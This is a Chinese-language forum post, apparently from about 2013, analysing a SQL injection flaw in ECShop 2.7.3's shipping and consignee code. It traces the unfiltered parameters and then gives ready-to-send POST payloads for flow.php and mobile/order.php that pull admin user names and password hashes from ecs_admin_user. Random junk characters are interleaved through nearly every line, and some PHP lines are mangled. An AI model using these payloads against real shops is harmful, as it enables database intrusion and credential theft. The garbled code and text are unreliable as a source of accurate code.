前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
. b, u) h( b; `' @- N' z/ A
* v2 ^1 ~$ o; w8 J& _$ M( D 漏洞关键文件:
l g0 I. O* z# X1 u5 X
8 W9 N% n! ~4 T/ O! _' h /includes/lib_order.php
7 d6 H# F! f0 F4 p5 K$ }. h# k5 |+ Y! k& ^5 K
关键函数:
+ _ Q0 j6 M ]; }
( X2 D' O% M) d: O 4 s( V8 [/ J6 Y0 z7 F% l S( s
3 Q: a0 X* H& T
01 function available_shipping_list($region_id_list) |) i& F+ |, p! c j5 W% P
. z, {1 ?6 I8 T
02 { $ s! m' w- U6 r. q: W @
& e9 u- w5 Z5 u% |% J6 s Z03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
* U5 d7 f; |8 I$ z3 [4 ?; j$ n; ~
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . & s3 N6 @+ C# r% x! H: o# A8 ~% [
% n2 J% I5 i+ Y# p9 I05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 u3 p* B7 v* S: o9 k
L8 ~) w0 n. ]/ M' u06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 2 M; ], o! i0 r" b, h
6 V9 w6 `4 \% A/ f# F; k07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
O$ d3 u% U+ k4 B8 c' R; Y. @6 K, J% k0 u. I( s* I1 _7 v0 I
08 'WHERE r.region_id ' . db_create_in($region_id_list) . 6 e7 ]/ ^- u) Q* g
! W# d7 W0 a$ y# \' O* a* t! N09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ) U& Y6 D, x, Z- ~
$ l+ g! F: _* o* G/ a
10
; s; j0 _5 b: o5 U
i: }: \, e4 F11 return $GLOBALS['db']->getAll($sql); ! G; t" ]& C! Y+ L m+ `0 O; g
' n& X) c; y" q9 {
12 } : v: T' ]! d' o8 M6 R
5 Y: m9 n' L: m( ]8 Q* \* @显然对传入的参数没有任何过滤就带入了查询语句。
+ d3 f0 F8 B0 Z) h
3 T' i4 Y4 l! [. u$ C下面我们追踪这个函数在flow.php中:; ?8 S' z+ s& H2 z* y# Q& i
第531行: , {. I& B# e$ b3 o. q& C/ \. x
, ^# o+ U0 ~9 v& m1 _0 n
1 $shipping_list = available_shipping_list($region); 0 g0 i3 R6 F+ N* T: G
% \, B$ F R. k: l2 C
7 b& o1 n4 e- k$ H1 o! V9 |- ^' n) |: C! f
) z; r6 Z" N3 m+ b( x* G
7 d% ~+ k/ Y" v再对传入变量进行追踪:& k; G: M4 l0 \7 S9 I
; k1 p: @' b% @ J
第530行: ' n6 l+ J y6 a Q c
8 M) i& w& A* G1 x) d' X$ E
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
$ Q4 N4 A' V; z) J* P$ s: E7 S6 N; u" n
. ]7 e2 ? Y0 c3 k( @: v$ V$ J$ s6 h
6 ~8 x" b& |; L' D
. H% j: D8 a& D" p9 b. ?; K2 s
第473行: 1 R9 @- r* x3 r' o) F& e2 w0 G7 d
( K5 j! q/ K! ^& ~& @1 Q
1 $consignee = get_consignee($_SESSION['user_id']);
4 ^0 {- W: ?$ m3 Y& g
1 Y( M) c4 n. Z; G4 o6 J- S到了一个关键函数:. A. O/ y* P! O( b4 a1 t) j2 Z; t
" y! |1 i( k: [) F+ k: K/includes/lib_order.php. c. S; r* q" ^1 p4 v6 ~- L, G
! k! S: o! s6 E9 Q% [ ' _+ C) ^) Z- I' i( O1 @0 ?( L
! j( Y4 C; _% w ) w, g l. n* v6 B
! i3 \2 G$ g$ [& h, R. j: B01 function get_consignee($user_id) ) k- l+ x2 O9 h" y7 s X- `+ y# K
6 X, u2 ^. `6 P8 w02 { 8 X& P+ i; f$ H# P
5 F, U ]) @' O9 Z) y! |, `# [% }03 if (isset($_SESSION['flow_consignee']))
* G4 k6 u, e8 }6 X
- ^0 }! ~6 \: R4 m# y04 {
& y" D* M8 I9 e( d0 ] b* m3 V6 i v' A) S% o( x; ]& L2 }, a9 R' S
05 /* 如果存在session,则直接返回session中的收货人信息 */
$ X/ ?7 q1 w; m. Y& T# D
: G3 K5 n" N* r4 |06
( b: N: I2 ~: N9 g7 b
( {6 n' `; o. J- f! r4 I# S R* B4 r; T07 return $_SESSION['flow_consignee']; 1 S5 u7 w' D* R
5 T$ } _ l5 o8 J! W; A- O08 } 1 I) w2 k, ^8 b' w. R3 ]7 G
/ d9 E* p1 b7 C7 R. F* R+ p
09 else
; c7 r9 t8 Q' l5 o; E" Z( a/ J/ U. j% m# P& p5 k5 g
10 {
2 K2 S! k$ z" c" z7 ?
5 v- D/ Q) ?% B6 O0 T+ Q" [11 /* 如果不存在,则取得用户的默认收货人信息 */
4 g. H/ f [+ D+ p+ s1 k3 L. R: y
12 $arr = array(); ! L7 X4 H4 j- K, y. T
8 u3 s6 ]; y: x* F' x% e" n$ H13
% r) F( W& U0 w6 S: e, b! ~ s0 G. l0 o1 w* m6 ?
14 if ($user_id > 0) ! ]6 a( }! t0 v! R6 r
e4 H* ~. N6 w& N! K15 {
3 l2 s0 Q! Z, L. ~6 w6 T% s0 r0 x/ e1 s' b& m$ @
16 /* 取默认地址 */
9 M7 w$ h0 ~1 \# b! _
4 Y1 l1 \0 u4 t( B; y" I2 Z17 $sql = "SELECT ua.*". / e9 } ~: R5 l9 y | w
; q( H4 Q, \7 |& R3 l5 ^
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ) _$ l' w3 B' F k9 ]
& W. l4 V9 O# M19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
$ d8 J; c/ s7 Z" }" l. @3 T& _. v, V* U& |: h
20
3 i9 `9 K, j t/ j- R0 p3 L) o- S- v. Y; e0 h
21 $arr = $GLOBALS['db']->getRow($sql); 9 I/ p$ k$ U7 F
; |7 q) v) p0 s
22 }
' A% w( H6 h& c% x# z( j: G% e) ?! N
8 ^& e+ q& v, P2 _( v9 ~8 u1 l23 5 l+ Z' B/ |% u+ {7 u A9 L7 ~# S
1 l6 ~" P' F$ k2 l5 q4 F( r24 return $arr;
- G, ^; N: ?' h+ i& M
% `- x( _" ]# V2 P25 }
6 p& L: `( c! f% a1 T" }' T5 x
% ]* o, C+ p( t5 A26 }
& U- f( b9 q# L: u$ {- c
! f4 z5 `- ~6 Q- J& _; A$ e) B' {显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
1 h+ p4 V( A0 r8 u* d. K4 [0 r9 x" _8 i
" o, B+ S2 a& M; ]/ }, w& |
' p4 w1 y3 t/ a) g关键点:6 h9 z# C+ F8 e
1 x/ n, t* Y( A$ \第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);! H" b5 m2 F V/ h
& J4 K% W" a9 Z" k; \6 l
这里对传入参数反转义存入$_SESSION中。
& j# l# k( F5 \) x V7 M( G H7 e% ~1 C
E2 u3 s+ i- ]8 H6 i
' \# B4 d# @. h5 s) E5 A3 M然后看下:9 {3 H; T: i0 E9 Z. V
: [# z! B7 |: Z1 Q
" @) C2 u# e9 A2 V L
# l3 u l( `5 e4 L; o: U" l
' g) y6 ?" T i+ E6 u9 z" p# j7 E6 o" e r0 h
01 $consignee = array(
: p0 q6 j9 Q( W
- R. G2 v% D; L02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
' C- \7 o( d6 Q5 M+ L: g1 x0 i! `5 j& m8 d; _: A9 _6 u+ B
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 2 c1 a& j3 Q# w# ]8 Z' g; Q3 ?( {
C7 @# U- z6 P04 'country' => empty($_POST['country']) ? '' _POST['country'],
: C% p( B. e4 A9 D6 G0 `
: `& G& E- i0 \6 e% }% F05 'province' => empty($_POST['province']) ? '' _POST['province'], : J* Q4 e1 e9 D' Y! i
! h5 i" {) m8 T. Y% d06 'city' => empty($_POST['city']) ? '' _POST['city'], + n/ A: W; B1 _% o, u- f4 k& @
: B! g: C/ P, d) q6 t% i4 j
07 'district' => empty($_POST['district']) ? '' _POST['district'],
6 K. j# v# b4 J$ a, a/ y7 S r" W4 X
08 'email' => empty($_POST['email']) ? '' _POST['email'],
* e: }& L4 T) g" R/ N" I& I1 O" K9 {$ _+ v6 H- L; h
09 'address' => empty($_POST['address']) ? '' _POST['address'], 4 X0 e, V8 B, U
/ ^7 Q( [( I/ @8 R% n9 z- x10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
& A: g8 U/ S- _5 W, C$ y
4 G$ O& f g9 K& E11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
! O4 W; f- U/ t" _/ V
& H$ v/ I& s2 D" y+ A- e# a# n12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
0 z7 J$ a; T' _' w! I# M2 b7 m
' d/ V2 i! ?' c5 {0 f9 G5 i8 s13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
$ F7 h# H! h1 u0 E1 B q# n+ @5 y$ P
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], % ^- ]5 _( u$ j' j2 A, [+ s; p
2 T+ q/ i& b) F' K- N
15 ); . t9 X9 P) b0 E, x
6 E$ l3 ]! A- m- H8 m
好了注入就这样出现了。
/ j/ O" B/ _5 f7 F, Y8 `# @3 q8 M* U* [' K$ |1 f/ h0 @- I# [, \: C6 v
==================
/ r- q1 z9 \$ N" }+ r' q" I. Z- [, O2 D$ i7 r; o
注入测试:
2 B) Y1 r0 K2 z, @2 W6 ?* ^7 m1 z
" C7 _; }7 Q' w: n环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)* T' w% ^% P* f# d# R4 i/ z% n- j
1 o& i' c1 ~3 F* A6 r- @4 B8 `
测试程序:ECShop_V2.7.3_UTF8_release1106& L' [( ~ e* I/ c, u) _- b0 E
6 X8 Z9 v% X1 i/ g! W" t* S / |( h; | R I: N. I( e& t6 R
$ Z1 y% w* L3 b- w9 Q
1.首先需要点击一个商品加入购物车
& M6 |) Y. _- S& u
: q& ] o# B8 T; X& v2.注册一个会员帐号
$ t3 M9 \4 B1 X" G5 X; ~( k% |8 E1 Q6 p
8 f* U5 W1 F. W* k: p3.post提交数据
# o! g( x- L/ M! k9 k4 T) \) t1 K4 }+ v3 }% h2 s2 a& d4 h; U
% M/ G% b) A7 Z- e# m0 \
6 n3 { b) Y4 z. ?! K, k1 http://127.0.0.1/ecshop/flow.php
9 ]% v. \' q1 i) Q7 s5 ^9 u1 F2 ^' [, }2 V* [& T5 N$ u
2 f4 C8 d0 o8 B8 n- i9 {
& g( E5 q2 C, a8 d& `$ n v3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
% l, M p$ ~) A" z7 E; T* C举一反三,我们根据这个漏洞我们可以继续深入挖掘:
% [: K" g& @7 W5 u& _0 ^' N: S
8 m/ a/ b l5 c! [我们搜寻关键函数function available_shipping_list()1 }4 M0 u- b4 c$ B5 h
6 k& Z1 V) P, @ u" |
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
E n& p' R5 A( ~8 p1 E3 i- W+ c
- i8 X& l" Q( v$ m利用exp:$ J4 D4 P! {. Q' g0 y2 Z4 y2 V
# W* q+ O3 y4 y8 G) j1 [% A0 S1.点击一个商品,点击购买商标; W) M3 d. h R; v% o& l
5 j/ }8 j1 c2 \, G2.登录会员帐号% M. s& u: A; {3 \6 x
1 H, Y6 M- q# e$ i
3.post提交:6 z; ?( ?; X9 {- b5 Q
* F# x6 K" w1 \6 h
http://127.0.0.1/ecshop/mobile/order.php3 R ]- ]" _* E
! Q8 F8 G2 h4 @/ P8 E% E 1 L+ X; d! G$ t! B) |0 l7 ]/ m
# c- u2 n9 x5 j) j; \, fcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=/ Q }% |/ ^1 \0 y- G
5 d# [9 S D. I @
|